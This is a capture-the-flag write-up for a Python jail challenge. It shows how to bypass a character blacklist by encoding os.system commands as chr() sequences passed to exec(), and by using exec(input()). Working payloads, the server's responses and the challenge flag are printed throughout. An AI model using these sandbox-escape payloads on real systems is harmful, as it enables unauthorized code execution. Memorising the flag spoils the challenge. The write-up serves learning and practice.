nehebkaus trap
3 minutes to read
We are given a remote instance to connect to:
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
>
Basic reconnaissance
We are allowed to enter some information, but it shows an error:
> asdf
[*] Input accepted!
Error: name 'asdf' is not defined
The error message looks familiar to a Python REPL:
$ python3 -q
>>> asdf
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'asdf' is not defined
Plus, the banner shows a snake, so probably this is a Python jail challenge. We will need to escape and read the flag. For that, let’s try to use the most basic payload:
> import os; os.system('/bin/bash')
[!] Blacklisted character(s): ['.', '/', ';', ' ', "'"]
It won’t be that easy. Let’s see what characters are not allowed sending all of them:
$ python3 -q
>>> import string
>>> print(string.printable)
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
[!] Blacklisted character(s): ['.', '_', '/', '"', ';', ' ', "'", ',']
So, we see that we can use any number or letter. However, the above characters restrict most of the payloads to execute commands.
Escaping the jail
Notice that we can still use parentheses:
> print(1+2)
[*] Input accepted!
3
Therefore, we can run exec
to run arbitrary Python code. The trick comes in how we pass the code string. My approach was to use chr
like this:
$ python3 -q
>>> code = "import os; os.system('whoami')"
>>> list(code.encode())
[105, 109, 112, 111, 114, 116, 32, 111, 115, 59, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 119, 104, 111, 97, 109, 105, 39, 41]
>>> '+'.join(map(lambda b: f'chr({b})', list(code.encode())))
'chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41)'
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))
ctf
[*] Input accepted!
Great, it works. Let’s list the files in the current directory:
$ python3 -q
>>> code = "import os; os.system('ls -la')"
>>> '+'.join(map(lambda b: f'chr({b})', list(code.encode())))
'chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(108)+chr(115)+chr(32)+chr(45)+chr(108)+chr(97)+chr(39)+chr(41)'
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(108)+chr(115)+chr(32)+chr(45)+chr(108)+chr(97)+chr(39)+chr(41))
total 16
drwxr-sr-x 1 ctf ctf 4096 Mar 10 20:18 .
drwxr-xr-x 1 root root 4096 Jan 4 04:30 ..
-rw-rw-r-- 1 root root 33 Mar 10 20:17 flag.txt
-rwxrwxr-x 1 root root 1099 Mar 10 20:17 jail.py
[*] Input accepted!
There’s the flag as flag.txt
.
Flag
So let’s read the flag:
$ python3 -q
>>> code = "import os; os.system('cat flag.txt')"
>>> '+'.join(map(lambda b: f'chr({b})', list(code.encode())))
'chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)'
>>> exit()
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(32)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41))
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}
[*] Input accepted!
Other approaches
Additionally, this is a clever technique I learnt after the CTF:
$ nc 167.71.143.44 32139
__
{00}
\__/
/^/
( (
\_\_____
(_______)
(_________()Ooo.
[ Nehebkau's Trap ]
You are trapped!
Can you escape?
> exec(input())
[*] Input accepted!
import os; os.system('cat flag.txt')
HTB{y0u_d3f34t3d_th3_sn4k3_g0d!}